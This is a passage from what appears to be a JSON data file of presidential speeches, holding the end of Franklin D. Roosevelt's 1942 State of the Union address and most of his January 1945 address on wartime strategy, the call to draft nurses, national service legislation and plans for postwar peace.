little idea of just what they\naccomplished in the attack at Pearl Harbor.And I rather hope that all these figures which I have given will become\ncommon knowledge in Germany and Japan.Our task is hard--our task is unprecedented--and the time is short. We must\nstrain every existing armament-producing facility to the utmost. We must\nconvert every available plant and tool to war production. That goes all the\nway from the greatest plants to the smallest--from the huge automobile\nindustry to the village machine shop.Production for war is based on men and women--the human hands and brains\nwhich collectively we call Labor. Our workers stand ready to work long\nhours; to turn out more in a day's work; to keep the wheels turning and the\nfires burning twenty-four hours a day, and seven days a week. They realize\nwell that on the speed and efficiency of their work depend the lives of\ntheir sons and their brothers on the fighting fronts.Production for war is based on metals and raw materials--steel, copper,\nrubber, aluminum, zinc, tin. Greater and greater quantities of them will\nhave to be diverted to war purposes. Civilian use of them will have to be\ncut further and still further--and, in many cases, completely eliminated.War costs money. So far, we have hardly even begun to pay for it. We have\ndevoted only 15 percent of our national income to national defense. As will\nappear in my Budget Message tomorrow, our war program for the coming fiscal\nyear will cost 56 billion dollars or, in other words, more than half of the\nestimated annual national income. That means taxes and bonds and bonds and\ntaxes. It means cutting luxuries and other non-essentials. In a word, it\nmeans an \"all-out\" war by individual effort and family effort in a united\ncountry.Only this all-out scale of production will hasten the ultimate all-out\nvictory. Speed will count. Lost ground can always be regained--lost time\nnever. Speed will save lives; speed will save this Nation which is in\nperil; speed will save our freedom and our civilization--and slowness has\nnever been an American characteristic.As the United States goes into its full stride, we must always be on guard\nagainst misconceptions which will arise, some of them naturally, or which\nwill be planted among us by our enemies.We must guard against complacency. We must not underrate the enemy. He is\npowerful and cunning--and cruel and ruthless. He will stop at nothing that\ngives him a chance to kill and to destroy. He has trained his people to\nbelieve that their highest perfection is achieved by waging war. For many\nyears he has prepared for this very conflict--planning, and plotting, and\ntraining, arming, and fighting. We have already tasted defeat. We may\nsuffer further setbacks. We must face the fact of a hard war, a long war, a\nbloody war, a costly war.We must, on the other hand, guard against defeatism. That has been one of\nthe chief weapons of Hitler's propaganda machine--used time and again with\ndeadly results. It will not be used successfully on the American people.We must guard against divisions among ourselves and among all the other\nUnited Nations. We must be particularly vigilant against racial\ndiscrimination in any of its ugly forms. Hitler will try again to breed\nmistrust and suspicion between one individual and another, one group and\nanother, one race and another, one Government and another. He will try to\nuse the same technique of falsehood and rumor-mongering with which he\ndivided France from Britain. He is trying to do this with us even now. But\nhe will find a unity of will and purpose against him, which will persevere\nuntil the destruction of all his black designs upon the freedom and safety\nof the people of the world.We cannot wage this war in a defensive spirit. As our power and our\nresources are fully mobilized, we shall carry the attack against the\nenemy--we shall hit him and hit him again wherever and whenever we can reach\nhim.We must keep him far from our shores, for we intend to bring this battle to\nhim on his own home grounds.American armed forces must be used at any place in all the world where it\nseems advisable to engage the forces of the enemy. In some cases these\noperations will be defensive, in order to protect key positions. In other\ncases, these operations will be offensive, in order to strike at the common\nenemy, with a view to his complete encirclement and eventual total defeat.American armed forces will operate at many points in the Far East.American armed forces will be on all the oceans--helping to guard the\nessential communications which are vital to the United Nations.American land and air and sea forces will take stations in the British\nIsles--which constitute an essential fortress in this great world\nstruggle.American armed forces will help to protect this hemisphere--and also help to\nprotect bases outside this hemisphere, which could be used for an attack on\nthe Americas.If any of our enemies, from Europe or from Asia, attempt long-range raids\nby \"suicide\" squadrons of bombing planes, they will do so only in the hope\nof terrorizing our people and disrupting our morale. Our people are not\nafraid of that. We know that we may have to pay a heavy price for freedom.\nWe will pay this price with a will. Whatever the price, it is a thousand\ntimes worth it. No matter what our enemies, in their desperation, may\nattempt to do to us--we will say, as the people of London have said, \"We\ncan take it.\" And what's more we can give it back and we will give it\nback--with compound interest.When our enemies challenged our country to stand up and fight, they\nchallenged each and every one of us. And each and every one of us has\naccepted the challenge--for himself and for his Nation.There were only some 400 United States Marines who in the heroic and\nhistoric defense of Wake Island inflicted such great losses on the enemy.\nSome of those men were killed in action; and others are now prisoners of\nwar. When the survivors of that great fight are liberated and restored to\ntheir homes, they will learn that a hundred and thirty million of their\nfellow citizens have been inspired to render their own full share of\nservice and sacrifice.We can well say that our men on the fighting fronts have already proved\nthat Americans today are just as rugged and just as tough as any of the\nheroes whose exploits we celebrate on the Fourth of July.Many people ask, \"When will this war end?\" There is only one answer to\nthat. It will end just as soon as we make it end, by our combined efforts,\nour combined strength, our combined determination to fight through and work\nthrough until the end--the end of militarism in Germany and Italy and\nJapan. Most certainly we shall not settle for less.That is the spirit in which discussions have been conducted during the\nvisit of the British Prime Minister to Washington. Mr. Churchill and I\nunderstand each other, our motives and our purposes. Together, during the\npast two weeks, we have faced squarely the major military and economic\nproblems of this greatest world war.All in our Nation have been cheered by Mr. Churchill's visit. We have been\ndeeply stirred by his great message to us. He is welcome in our midst, and\nwe unite in wishing him a safe return to his home.For we are fighting on the same side with the British people, who fought\nalone for long, terrible months, and withstood the enemy with fortitude and\ntenacity and skill.We are fighting on the same side with the Russian people who have seen the\nNazi hordes swarm up to the very gates of Moscow, and who with almost\nsuperhuman will and courage have forced the invaders back into retreat.We are fighting on the same side as the brave people of China--those\nmillions who for four and a half long years have withstood bombs and\nstarvation and have whipped the invaders time and again in spite of the\nsuperior Japanese equipment and arms. Yes, we are fighting on the same side\nas the indomitable Dutch. We are fighting on the same side as all the other\nGovernments in exile, whom Hitler and all his armies and all his Gestapo\nhave not been able to conquer.But we of the United Nations are not making all this sacrifice of human\neffort and human lives to return to the kind of world we had after the last\nworld war.We are fighting today for security, for progress, and for peace, not only\nfor ourselves but for all men, not only for one generation but for all\ngenerations. We are fighting to cleanse the world of ancient evils, ancient\nills.Our enemies are guided by brutal cynicism, by unholy contempt for the human\nrace. We are inspired by a faith that goes back through all the years to\nthe first chapter of the Book of Genesis: \"God created man in His own\nimage.\"We on our side are striving to be true to that divine heritage. We are\nfighting, as our fathers have fought, to uphold the doctrine that all men\nare equal in the sight of God. Those on the other side are striving to\ndestroy this deep belief and to create a world in their own image--a world\nof tyranny and cruelty and serfdom.That is the conflict that day and night now pervades our lives.No compromise can end that conflict. There never has been--there never can\nbe--successful compromise between good and evil. Only total victory can\nreward the champions of tolerance, and decency, and freedom, and faith.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 6, 1945", 
+    "speech": "To the Congress:In considering the State of the Union, the war and the peace that is to\nfollow are naturally uppermost in the minds of all of us.This war must be waged--it is being waged--with the greatest and most\npersistent intensity. Everything we are and have is at stake. Everything we\nare and have will be given. American men, fighting far from home, have\nalready won victories which the world will never forget.We have no question of the ultimate victory. We have no question of the\ncost. Our losses will be heavy.We and our allies will go on fighting together to ultimate total victory.We have seen a year marked, on the whole, by substantial progress toward\nvictory, even though the year ended with a setback for our arms, when the\nGermans launched a ferocious counter-attack into Luxembourg and Belgium\nwith the obvious objective of cutting our line in the center.Our men have fought with indescribable and unforgettable gallantry under\nmost difficult conditions, and our German enemies have sustained\nconsiderable losses while failing to obtain their objectives.The high tide of this German effort was reached two days after Christmas.\nSince then we have reassumed the offensive, rescued the isolated garrison\nat Bastogne, and forced a German withdrawal along the whole line of the\nsalient. The speed with which we recovered from this savage attack was\nlargely possible because we have one supreme commander in complete control\nof all the Allied armies in France. General Eisenhower has faced this\nperiod of trial with admirable calm and resolution and with steadily\nincreasing success. He has my complete confidence.Further desperate attempts may well be made to break our lines, to slow our\nprogress. We must never make the mistake of assuming that the Germans are\nbeaten until the last Nazi has surrendered.And I would express another most serious warning against the poisonous\neffects of enemy propaganda.The wedge that the Germans attempted to drive in western Europe was less\ndangerous in actual terms of winning the war than the wedges which they are\ncontinually attempting to drive between ourselves and our allies.Every little rumor which is intended to weaken our faith in our allies is\nlike an actual enemy agent in our midst--seeking to sabotage our war\neffort. There are, here and there, evil and baseless rumors against the\nRussians--rumors against the British--rumors against our own American\ncommanders in the field.When you examine these rumors closely, you will observe that every one of\nthem bears the same trade-mark--\"Made in Germany.\"We must resist this divisive propaganda--we must destroy it--with the same\nstrength and the same determination that our fighting men are displaying as\nthey resist and destroy the panzer divisions.In Europe, we shall resume the attack and--despite temporary setbacks here\nor there--we shall continue the attack relentlessly until Germany is\ncompletely defeated.It is appropriate at this time to review the basic strategy which has\nguided us through three years of war, and which will lead, eventually, to\ntotal victory.The tremendous effort of the first years of this war was directed toward\nthe concentration of men and supplies in the various theaters of action at\nthe points where they could hurt our enemies most.It was an effort--in the language of the military men--of deployment of our\nforces. Many battles--essential battles--were fought; many victories--vital\nvictories--were won. But these battles and these victories were fought and\nwon to hold back the attacking enemy, and to put us in positions from which\nwe and our allies could deliver the final, decisive blows.In the beginning our most important military task was to prevent our\nenemies--the strongest and most violently aggressive powers that ever have\nthreatened civilization--from winning decisive victories. But even while we\nwere conducting defensive, delaying actions, we were looking forward to the\ntime when we could wrest the initiative from our enemies and place our\nsuperior resources of men and materials into direct competition with them.It was plain then that the defeat of either enemy would require the massing\nof overwhelming forces--ground, sea, and air--in positions from which we\nand our allies could strike directly against the enemy homelands and\ndestroy the Nazi and Japanese war machines.In the case of Japan, we had to await the completion of extensive\npreliminary operations--operations designed to establish secure supply lines\nthrough the Japanese outer-zone defenses. This called for overwhelming sea\npower and air power--supported by ground forces strategically employed\nagainst isolated outpost garrisons.Always--from the very day we were attacked--it was right militarily as well\nas morally to reject the arguments of those shortsighted people who would\nhave had us throw Britain and Russia to the Nazi wolves and concentrate\nagainst the Japanese. Such people urged that we fight a purely defensive\nwar against Japan while allowing the domination of all the rest of the\nworld by Nazism and Fascism.In the European theater the necessary bases for the massing of ground and\nair power against Germany were already available in Great Britain. In the\nMediterranean area we could begin ground operations against major elements\nof the German Army as rapidly as we could put troops in the field, first in\nNorth Africa and then in Italy.Therefore, our decision was made to concentrate the bulk of our ground and\nair forces against Germany until her utter defeat. That decision was based\non all these factors; and it was also based on the realization that, of our\ntwo enemies, Germany would be more able to digest quickly her conquests,\nthe more able quickly to convert the manpower and resources of her\nconquered territory into a war potential.We had in Europe two active and indomitable allies--Britain and the Soviet\nUnion--and there were also the heroic resistance movements in the occupied\ncountries, constantly engaging and harassing the Germans. We cannot forget\nhow Britain held the line, alone, in 1940 and 1941; and at the same time,\ndespite ferocious bombardment from the air, built up a tremendous armaments\nindustry which enabled her to take the offensive at El Alamein in 1942.We cannot forget the heroic defense of Moscow and Leningrad and Stalingrad,\nor the tremendous Russian offensives of 1943 and 1944 which destroyed\nformidable German armies.Nor can we forget how, for more than seven long years, the Chinese people\nhave been sustaining the barbarous attacks of the Japanese and containing\nlarge enemy forces on the vast areas of the Asiatic mainland.In the future we must never forget the lesson that we have learned--that we\nmust have friends who will work with us in peace as they have fought at our\nside in war.As a result of the combined effort of the Allied forces, great military\nvictories were achieved in 1944: The liberation of France, Belgium, Greece,\nand parts of The Netherlands, Norway, Poland, Yugoslavia, and\nCzechoslovakia; the surrender of Rumania and Bulgaria; the invasion of\nGermany itself and Hungary; the steady march through the Pacific islands to\nthe Philippines, Guam, and Saipan; and the beginnings of a mighty air\noffensive against the Japanese islands.Now, as this Seventy-ninth Congress meets, we have reached the most\ncritical phase of the war.The greatest victory of the last year was, of course, the successful breach\non June 6, 1944, of the German \"impregnable\" seawall of Europe and the\nvictorious sweep of the Allied forces through France and Belgium and\nLuxembourg--almost to the Rhine itself.The cross-channel invasion of the Allied armies was the greatest amphibious\noperation in the history of the world. It overshadowed all other operations\nin this or any other war in its immensity. Its success is a tribute to the\nfighting courage of the soldiers who stormed the beaches--to the sailors\nand merchant seamen who put the soldiers ashore and kept them supplied--and\nto the military and naval leaders who achieved a real miracle of planning\nand execution. And it is also a tribute to the ability of two Nations,\nBritain and America, to plan together, and work together, and fight\ntogether in perfect cooperation and perfect harmony.This cross-channel invasion was followed in August by a second great\namphibious operation, landing troops in southern France. In this, the same\ncooperation and the same harmony existed between the American, French, and\nother Allied forces based in North Africa and Italy.The success of the two invasions is a tribute also to the ability of many\nmen and women to maintain silence, when a few careless words would have\nimperiled the lives of hundreds of thousands, and would have jeopardized\nthe whole vast undertakings.These two great operations were made possible by success in the Battle of\nthe Atlantic.Without this success over German submarines, we could not have built up our\ninvasion forces or air forces in Great Britain, nor could we have kept a\nsteady stream of supplies flowing to them after they had landed in France.The Nazis, however, may succeed in improving their submarines and their\ncrews. They have recently increased their U-boat activity. The Battle of\nthe Atlantic--like all campaigns in this war--demands eternal vigilance. But\nthe British, Canadian, and other Allied navies, together with our own, are\nconstantly on the alert.The tremendous operations in western Europe have overshadowed in the public\nmind the less spectacular but vitally important Italian front. Its place in\nthe strategic conduct of the war in Europe has been obscured, and--by some\npeople unfortunately--underrated.It is important that any misconception on that score be corrected--now.What the Allied forces in Italy are doing is a well-considered part in our\nstrategy in Europe, now aimed at only one objective--the total defeat of\nthe Germans. These valiant forces in Italy are continuing to keep a\nsubstantial portion of the German Army under constant pressure--including\nsome 20 first-line German divisions and the necessary supply and transport\nand replacement troops--all of which our enemies need so badly elsewhere.Over very difficult terrain and through adverse weather conditions, our\nFifth Army and the British Eighth Army--reinforced by units from other\nUnited Nations, including a brave and well equipped unit of the Brazilian\nArmy--have, in the past year, pushed north through bloody Cassino and the\nAnzio beachhead, and through Rome until now they occupy heights overlooking\nthe valley of the Po.The greatest tribute which can be paid to the courage and fighting ability\nof these splendid soldiers in Italy is to point out that although their\nstrength is about equal to that of the Germans they oppose, the Allies have\nbeen continuously on the offensive.That pressure, that offensive, by our troops in Italy will continue.The American people--and every soldier now fighting in the Apennines--should\nremember that the Italian front has not lost any of the importance which it\nhad in the days when it was the only Allied front in Europe.In the Pacific during the past year, we have conducted the fastest-moving\noffensive in the history of modern warfare. We have driven the enemy back\nmore than 3,000 miles across the Central Pacific. A year ago, our conquest\nof Tarawa was a little more than a month old.A year ago, we were preparing for our invasion of Kwajalein, the second of\nour great strides across the Central Pacific to the Philippines.A year ago, General MacArthur was still fighting in New Guinea almost 1,500\nmiles from his present position in the Philippine Islands.We now have firmly established bases in the Mariana Islands, from which our\nSuper fortresses bomb Tokyo itself--and will continue to blast Japan in\never-increasing numbers.Japanese forces in the Philippines have been cut in two. There is still\nhard fighting ahead--costly fighting. But the liberation of the Philippines\nwill mean that Japan has been largely cut off from her conquests in the\nEast Indies.The landing of our troops on Leyte was the largest amphibious operation\nthus far conducted in the Pacific.Moreover, these landings drew the Japanese Fleet into the first great sea\nbattle which Japan has risked in almost two years. Not since the night\nengagements around Guadalcanal in November-December, 1942, had our Navy\nbeen able to come to grips with major units of the Japanese Fleet. We had\nbrushed against their fleet in the first battle of the Philippine Sea in\nJune, 1944, but not until last October were we able really to engage a\nmajor portion of the Japanese Navy in actual combat. The naval engagement\nwhich raged for three days was the heaviest blow ever struck against\nJapanese sea power.As a result of that battle, much of what is left of the Japanese Fleet has\nbeen driven behind the screen of islands that separates the Yellow Sea, the\nChina Sea, and the Sea of Japan from the Pacific.Our Navy looks forward to any opportunity which the lords of the Japanese\nNavy will give us to fight them again.The people of this Nation have a right to be proud of the courage and\nfighting ability of the men in the armed forces--on all fronts. They also\nhave a right to be proud of American leadership which has guided their sons\ninto battle.The history of the generalship of this war has been a history of teamwork\nand cooperation, of skill and daring. Let me give you one example out of\nlast year's operations in the Pacific.Last September Admiral Halsey led American naval task forces into\nPhilippine waters and north to the East China Sea, and struck heavy blows\nat Japanese air and sea power.At that time it was our plan to approach the Philippines by further stages,\ntaking islands which we may call A, C, and E. However, Admiral Halsey\nreported that a direct attack on Leyte appeared feasible. When General\nMacArthur received the reports from Admiral Halsey's task forces, he also\nconcluded that it might be possible to attack the Japanese in the\nPhilippines directly--bypassing islands A, C, and E.Admiral Nimitz thereupon offered to make available to General MacArthur\nseveral divisions which had been scheduled to take the intermediate\nobjectives. These discussions, conducted at great distances, all took place\nin one day.General MacArthur immediately informed the Joint Chiefs of Staff here in\nWashington that he was prepared to initiate plans for an attack on Leyte in\nOctober. Approval of the change in plan was given on the same day.Thus, within the space of 24 hours, a major change of plans was\naccomplished which involved Army and Navy forces from two different\ntheaters of operations--a change which hastened the liberation of the\nPhilippines and the final day of victory--a change which saved lives which\nwould have been expended in the capture of islands which are now\nneutralized far behind our lines.Our over-all strategy has not neglected the important task of rendering all\npossible aid to China. Despite almost insuperable difficulties, we\nincreased this aid during 1944. At present our aid to China must be\naccomplished by air transport--there is no other way. By the end of 1944,\nthe Air Transport Command was carrying into China a tonnage of supplies\nthree times as great as that delivered a year ago, and much more, each\nmonth, than the Burma Road ever delivered at its peak.Despite the loss of important bases in China, the tonnage delivered by air\ntransport has enabled General Chennault's Fourteenth Air Force, which\nincludes many Chinese flyers, to wage an effective and aggressive campaign\nagainst the Japanese. In 1944 aircraft of the Fourteenth Air Force flew\nmore than 35,000 sorties against the Japanese and sank enormous tonnage of\nenemy shipping, greatly diminishing the usefulness of the China Sea lanes.British, Dominion, and Chinese forces together with our own have not only\nheld the line in Burma against determined Japanese attacks but have gained\nbases of considerable importance to the supply line into China.The Burma campaigns have involved incredible hardship, and have demanded\nexceptional fortitude and determination. The officers and men who have\nserved with so much devotion in these far distant jungles and mountains\ndeserve high honor from their countrymen.In all of the far-flung operations of our own armed forces--on land, and sea\nand in the air--the final job, the toughest job, has been performed by the\naverage, easy-going, hard-fighting young American, who carries the weight\nof battle on his own shoulders.It is to him that we and all future generations of Americans must pay\ngrateful tribute.But--it is of small satisfaction to him to know that monuments will be\nraised to him in the future. He wants, he needs, and he is entitled to\ninsist upon, our full and active support--now.Although unprecedented production figures have made possible our victories,\nwe shall have to increase our goals even more in certain items.Peak deliveries of supplies were made to the War Department in December,\n1943. Due in part to cutbacks, we have not produced as much since then.\nDeliveries of Army supplies were down by 15 percent by July, 1944, before\nthe upward trend was once more resumed.Because of increased demands from overseas, the Army Service Forces in the\nmonth of October, 1944, had to increase its estimate of required production\nby 10 percent. But in November, one month later, the requirements for 1945\nhad to be increased another 10 percent, sending the production goal well\nabove anything we have yet attained. Our armed forces in combat have\nsteadily increased their expenditure of medium and heavy artillery\nammunition. As we continue the decisive phases of this war, the munitions\nthat we expend will mount day by day.In October, 1944, while some were saying the war in Europe was over, the\nArmy was shipping more men to Europe than in any previous month of the\nwar.One of the most urgent immediate requirements of the armed forces is more\nnurses. Last April the Army requirement for nurses was set at 50,000.\nActual strength in nurses was then 40,000. Since that time the Army has\ntried to raise the additional 10,000. Active recruiting has been carried\non, but the net gain in eight months has been only 2,000. There are now\n42,000 nurses in the Army.Recent estimates have increased the total number needed to 60,000. That\nmeans that 18,000 more nurses must be obtained for the Army alone and the\nNavy now requires 2,000 additional nurses.The present shortage of Army nurses is reflected in undue strain on the\nexisting force. More than a thousand nurses are now hospitalized, and part\nof this is due to overwork. The shortage is also indicated by the fact that\n11 Army hospital units have been sent overseas without their complement of\nnurses. At Army hospitals in the United States there is only 1 nurse to 26\nbeds, instead of the recommended 1 to 15 beds.It is tragic that the gallant women who have volunteered for service as\nnurses should be so overworked. It is tragic that our wounded men should\never want for the best possible nursing care.The inability to get the needed nurses for the Army is not due to any\nshortage of nurses; 280,000 registered nurses are now practicing in this\ncountry. It has been estimated by the War Manpower Commission that 27,000\nadditional nurses could be made available to the armed forces without\ninterfering too seriously with the needs of the civilian population for\nnurses.Since volunteering has not produced the number of nurses required, I urge\nthat the Selective Service Act be amended to provide for the induction of\nnurses into the armed forces. The need is too pressing to await the outcome\nof further efforts at recruiting.The care and treatment given to our wounded and sick soldiers have been the\nbest known to medical science. Those standards must be maintained at all\ncosts. We cannot tolerate a lowering of them by failure to provide adequate\nnursing for the brave men who stand desperately in need of it.In the continuing progress of this war we have constant need for new types\nof weapons, for we cannot afford to fight the war of today or tomorrow with\nthe weapons of yesterday. For example, the American Army now has developed\na new tank with a gun more powerful than any yet mounted on a fast-moving\nvehicle. The Army will need many thousands of these new tanks in 1945.Almost every month finds some new development in electronics which must be\nput into production in order to maintain our technical superiority--and in\norder to save lives. We have to work every day to keep ahead of the enemy\nin radar. On D-Day, in France, with our superior new equipment, we located\nand then put out of operation every warning set which the Germans had along\nthe French coast.If we do not keep constantly ahead of our enemies in the development of new\nweapons, we pay for our backwardness with the life's blood of our sons.The only way to meet these increased needs for new weapons and more of them\nis for every American engaged in war work to stay on his war job--for\nadditional American civilians, men and women, not engaged in essential\nwork, to go out and get a war job. Workers who are released because their\nproduction is cut back should get another job where production is being\nincreased. This is no time to quit or change to less essential jobs.There is an old and true saying that the Lord hates a quitter. And this\nNation must pay for all those who leave their essential jobs--or all those\nwho lay down on their essential jobs for nonessential reasons.\nAnd--again--that payment must be made with the life's blood of our sons.Many critical production programs with sharply rising needs are now\nseriously hampered by manpower shortages. The most important Army needs are\nartillery ammunition, cotton duck, bombs, tires, tanks, heavy trucks, and\neven B-29's. In each of these vital programs, present production is behind\nrequirements.Navy production of bombardment ammunition is hampered by manpower\nshortages; so is production for its huge rocket program. Labor shortages\nhave also delayed its cruiser and carrier programs, and production of\ncertain types of aircraft.There is critical need for more repair workers and repair parts; this Jack\ndelays the return of damaged fighting ships to their places in the fleet,\nand prevents ships now in the fighting line from getting needed\noverhauling.The pool of young men under 26 classified as I-A is almost depleted.\nIncreased replacements for the armed forces will take men now deferred who\nare at work in war industry. The armed forces must have an assurance of a\nsteady flow of young men for replacements. Meeting this paramount need will\nbe difficult, and will also make it progressively more difficult to attain\nthe 1945 production goals.Last year, after much consideration, I recommended that the Congress adopt\na national service act as the most efficient and democratic way of insuring\nfull production for our war requirements. This recommendation was not\nadopted.I now again call upon the Congress to enact this measure for the total\nmobilization of all our human resources for the prosecution of the war. I\nurge that this be done at the earliest possible moment.It is not too late in the war. In fact, bitter experience has shown that in\nthis kind of mechanized warfare where new weapons are constantly being\ncreated by our enemies and by ourselves, the closer we come to the end of\nthe war, the more pressing becomes the need for sustained war production\nwith which to deliver the final blow to the enemy.There are three basic arguments for a national service law:First, it would assure that we have the right numbers of workers in the\nright places at the right times.Second, it would provide supreme proof to all our fighting men that we are\ngiving them what they are entitled to, which is nothing less than our total\neffort.And, third, it would be the final, unequivocal answer to the hopes of the\nNazis and the Japanese that we may become halfhearted about this war and\nthat they can get from us a negotiated peace.National service legislation would make it possible to put ourselves in a\nposition to assure certain and speedy action in meeting our manpower\nneeds.It would be used only to the extent absolutely required by military\nnecessities. In fact, experience in Great Britain and in other Nations at\nwar indicates that use of the compulsory powers of national service is\nnecessary only in rare instances.This proposed legislation would provide against loss of retirement and\nseniority rights and benefits. It would not mean reduction in wages.In adopting such legislation, it is not necessary to discard the voluntary\nand cooperative processes which have prevailed up to this time. This\ncooperation has already produced great results. The contribution of our\nworkers to the war effort has been beyond measure. We must build on the\nfoundations that have already been laid and supplement the measures now in\noperation, in order to guarantee the production that may be necessary in\nthe critical period that lies ahead.At the present time we are using the inadequate tools at hand to do the\nbest we can by such expedients as manpower ceilings, and the use of\npriority and other powers, to induce men and women to shift from\nnon-essential to essential war jobs.I am in receipt of a joint letter from the Secretary of War and the\nSecretary of the Navy, dated January 3, 1945, which says:\"With the experience of three years of war and after the most thorough\nconsideration, we are convinced that it is now necessary to carry out the\nstatement made by the Congress in the joint resolutions declaring that a\nstate of war existed with Japan and Germany: That 'to bring the conflict to\na successful conclusion, all of the resources of the country are hereby\npledged by the Congress of the United States.'\"In our considered judgment, which is supported by General Marshall and\nAdmiral King, this requires total mobilization of our manpower by the\npassage of a national war service law. The armed forces need this\nlegislation to hasten the day of final victory, and to keep to a minimum\nthe cost in lives.\"National war service, the recognition by law of the duty of every citizen\nto do his or her part in winning the war, will give complete assurance that\nthe need for war equipment will be filled. In the coming year we must\nincrease the output of many weapons and supplies on short notice. Otherwise\nwe shall not keep our production abreast of the swiftly changing needs of\nwar. At the same time it will be necessary to draw progressively many men\nnow engaged in war production to serve with the armed forces, and their\nplaces in war production must be filled promptly. These developments will\nrequire the addition of hundreds of thousands to those already working in\nwar industry. We do not believe that these needs can be met effectively\nunder present methods.\"The record made by management and labor in war industry has been a notable\ntestimony to the resourcefulness and power of America. The needs are so\ngreat, nevertheless, that in many instances we have been forced to recall\nsoldiers and sailors from military duty to do work of a civilian character\nin war production, because of the urgency of the need for equipment and\nbecause of inability to recruit civilian labor.\"Pending action by the Congress on the broader aspects of national service,\nI recommend that the Congress immediately enact legislation which will be\neffective in using the services of the 4,000,000 men now classified as IV-F\nin whatever capacity is best for the war effort.In the field of foreign policy, we propose to stand together with the\nUnited Nations not for the war alone but for the victory for which the war\nis fought.It is not only a common danger which unites us but a common hope. Ours is\nan association not of Governments but of peoples--and the peoples' hope is\npeace. Here, as in England; in England, as in Russia; in Russia, as in\nChina; in France, and through the continent of Europe, and throughout the\nworld; wherever men love freedom, the hope and purpose of the people are\nfor peace--a peace that is durable and secure.It will not be easy to create this peoples' peace. We delude ourselves if\nwe believe that the surrender of the armies of our enemies will make the\npeace we long for. The unconditional surrender of the armies of our enemies\nis the first and necessary step--but the first step only.We have seen already, in areas liberated from the Nazi and the Fascist\ntyranny, what problems peace will bring. And we delude ourselves if we\nattempt to believe wishfully that all these problems can be solved\novernight.The firm foundation can be built--and it will be built. But the continuance\nand assurance of a living peace must, in the long run, be the work of the\npeople themselves.We ourselves, like all peoples who have gone through the difficult\nprocesses of liberation and adjustment, know of our own experience how\ngreat the difficulties can be. We know that they are not difficulties\npeculiar to any continent or any Nation. Our own Revolutionary War left\nbehind it, in the words of one American historian, \"an eddy of lawlessness\nand disregard of human life.\" There were separatist movements of one kind\nor another in Vermont, Pennsylvania, Virginia, Tennessee, Kentucky, and\nMaine. There were insurrections, open or threatened, in Massachusetts and\nNew Hampshire. These difficulties we worked out for ourselves as the\npeoples of the liberated areas of Europe, faced with complex problems of\nadjustment, will work out their difficulties for themselves.Peace can be made and kept only by the united determination of free and\npeace-loving peoples who are willing to work together--willing to help one\nanother--willing to respect and tolerate and try to understand one another's\nopinions and feelings.The nearer we come to vanquishing our enemies the more we inevitably become\nconscious of differences among the victors.We must not let those differences divide us and blind us to our more\nimportant common and continuing interests in winning the war and building\nthe peace.International cooperation on which enduring peace must be based is not a\none-way street.Nations like individuals do not always see alike or think alike, and\ninternational cooperation and progress are not helped by any Nation\nassuming that it has a monopoly of wisdom or of virtue.In the future world the misuse of power, as implied in the term \"power\npolitics,\" must not be a controlling factor in international relations.\nThat is the heart of the principles to which we have subscribed. We cannot\ndeny that power is a factor in world politics any more than we can deny its\nexistence as a factor in national politics. But in a democratic world, as\nin a democratic Nation, power must be linked with responsibility, and\nobliged to defend and justify itself within the framework of the general\ngood.Perfectionism, no less than isolationism or imperialism or power politics,\nmay obstruct the paths to international peace. Let us not forget that the\nretreat to isolationism a quarter of a century ago was started not by a\ndirect attack against international cooperation but against the alleged\nimperfections of the peace.In our disillusionment after the last war we preferred international\nanarchy to international cooperation with Nations which did not see and\nthink exactly as we did. We gave up the hope of gradually achieving a\nbetter peace because we had not the courage to fulfill our responsibilities\nin an admittedly imperfect world.We must not let that happen again, or we shall follow the same tragic road\nagain--the road to a third world war.We can fulfill our responsibilities for maintaining the security of our own\ncountry only by exercising our power and our influence to achieve the\nprinciples in which we believe and for which we have fought.In August, 1941, Prime Minister Churchill and I agreed to the principles of\nthe Atlantic Charter, these being later incorporated into the Declaration\nby United Nations of January 1, 1942. At that time certain isolationists\nprotested vigorously against our right to proclaim the principles--and\nagainst the very principles themselves. Today, many of the same people are\nprotesting against the possibility of violation of the same principles.It is true that the statement of principles in the Atlantic Charter does\nnot provide rules of easy application to each and every one of this\nwar-torn world's tangled situations. But it is a good and a useful thing--\nit is an essential thing--to have principles toward which we can aim.And we shall not hesitate to use our influence--and to use it now--to secure\nso far as is humanly possible the fulfillment of the principles of the\nAtlantic Charter. We have not shrunk from the military responsibilities\nbrought on by this war. We cannot and will not shrink from the political\nresponsibilities which follow in the wake of battle.I do not wish to give the impression that all mistakes can be avoided and\nthat many disappointments are not inevitable in the making of peace. But we\nmust not this time lose the hope of establishing an international order\nwhich will be capable of maintaining peace and realizing through the years\nmore perfect justice between Nations.To do this we must be on our guard not to exploit and exaggerate the\ndifferences between us and our allies, particularly with reference to the\npeoples who have been liberated from Fascist tyranny. That is not the way\nto secure a better settlement of those differences or to secure\ninternational machinery which can rectify mistakes which may be made.I should not be frank if I did not admit concern about many situations--the\nGreek and Polish for example. But those situations are not as easy or as\nsimple to deal with as some spokesmen, whose sincerity I do not question,\nwould have us believe. We have obligations, not necessarily legal, to the\nexiled Governments, to the underground leaders, and to our major allies who\ncame much nearer the shadows than we did.We and our allies have declared that it is our purpose to respect the right\nof all peoples to choose the form of government under which they will live\nand to see sovereign rights and self-government restored to those who have\nbeen forcibly deprived of them. But with internal dissension, with many\ncitizens of liberated countries still prisoners of war or forced to labor\nin Germany, it is difficult to guess the kind of self-government the people\nreally want.During the interim period, until conditions permit a genuine expression of\nthe people's will, we and our allies have a duty, which we cannot ignore,\nto use our influence to the end that no temporary or provisional\nauthorities in the liberated countries block the eventual exercise of the\npeoples' right freely to choose the government and institutions under\nwhich, as freemen, they are to live.It is only too easy for all of us to rationalize what we want to believe,\nand to consider those leaders we like responsible and those we dislike\nirresponsible. And our task is not helped by stubborn partisanship, however\nunderstandable on the part of opposed internal factions.It is our purpose to help the peace-loving peoples of Europe to live\ntogether as good neighbors, to recognize their common interests and not to\nnurse their traditional grievances against one another.But we must not permit the many specific and immediate problems of\nadjustment connected with the liberation of Europe to delay the\nestablishment of permanent machinery for the maintenance of peace. Under\nthe threat of a common danger, the United Nations joined together in war to\npreserve their independence and their freedom. They must now join together\nto make secure the independence and freedom of all peace-loving states, so\nthat never again shall tyranny be able to divide and conquer.International peace and well-being, like national peace and well-being,\nrequire constant alertness, continuing cooperation, and organized effort.International peace and well-being, like national peace and well-being, can\nbe secured only through institutions capable of life and growth.Many of the problems of the peace are upon us even now while the conclusion\nof the war is still before us. The atmosphere of friendship and mutual\nunderstanding and determination to find a common ground of common\nunderstanding, which surrounded the conversations at Dumbarton 